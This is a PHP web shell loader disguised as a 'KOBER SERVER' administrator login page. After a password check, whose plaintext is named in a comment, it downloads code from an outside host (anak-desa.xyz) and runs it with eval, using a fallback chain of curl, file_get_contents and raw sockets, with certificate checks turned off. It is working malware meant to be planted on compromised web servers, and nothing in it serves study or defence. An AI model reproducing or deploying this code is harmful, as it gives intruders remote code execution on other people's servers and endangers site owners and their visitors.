dvadf
<?php
session_start();
function getURL($url) {
$parsed_url = parse_url($url);
$host = $parsed_url['host'];
$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
$port = isset($parsed_url['port']) ? $parsed_url['port'] : (isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 443 : 80);
$scheme = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 'ssl://' : '';
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
elseif (function_exists('file_get_contents')) {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n"
]
]);
return file_get_contents($url, false, $context);
}
elseif (function_exists('stream_socket_client')) {
$socket = @stream_socket_client($scheme . $host . ':' . $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
elseif (function_exists('fsockopen')) {
$socket = @fsockopen($scheme . $host, $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
else {
return false;
}
}
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function login_shell() {
$password_hash = "5c8060b31c9446c0d5b157f0a4477ce9305ed64e4b752040f9115278ba7484bc"; // SHA256 hash of "KOBERSERVER#"
// Check if user is already authenticated
if (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) {
// Execute webshell directly
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
}
if (isset($_POST['password']) && isset($_POST['csrf_token'])) {
// Verify CSRF token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
echo "<script>alert('Invalid CSRF token!');</script>";
return;
}
// Sanitize input to prevent XSS
$input_password = htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8');
// Hash the input password with SHA256
$input_password_hash = hash('sha256', $input_password);
if ($input_password_hash === $password_hash) {
// Password correct, set session and execute webshell
$_SESSION['authenticated'] = true;
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
} else {
// Incorrect password, trigger popup
echo "<script>alert('WHAT ARE YOU DOING BITCH !');</script>";
}
}
// Generate CSRF token for the form
$csrf_token = generate_csrf_token();
?>
<!DOCTYPE HTML>
<html>
<head>
<title>KOBER SERVER</title>
<style type="text/css">
html, body {
margin: 0;
padding: 0;
height: 100%;
background: url('https://i.postimg.cc/3wxrShJC/hino.jpg') no-repeat center center fixed;
background-size: cover;
color: #00ffcc;
font-family: monospace;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
}
.container {
background-color: rgba(0, 0, 0, 0.6); /* overlay transparan */
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 10px #00ffcc;
}
header pre {
text-shadow: 0 0 8px #00ffcc;
font-size: 14px;
}
input[type=password] {
width: 250px;
height: 25px;
color: #00ffcc;
background: transparent;
border: 1px dotted #00ffcc;
text-align: center;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<header>
<pre>
#### ###### ####### ## ## ##
## ## # ## # ## # #### ### ###
## ### ## ## ## ## # ## ## #######
###### #### ## #### ## ## #######
### ## ## ## ## # ###### ## # ##
## ## #### ## ## # ## ## ## ##
#### ## ## #### ####### ## ## ## ##
.: LOGIN ADMINISTRATOR :.
</pre>
</header>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrf_token, ENT_QUOTES, 'UTF-8'); ?>">
<input type="password" name="password" autofocus>
</form>
</div>
</body>
</html>
<?php
} // akhir fungsi
login_shell();
?>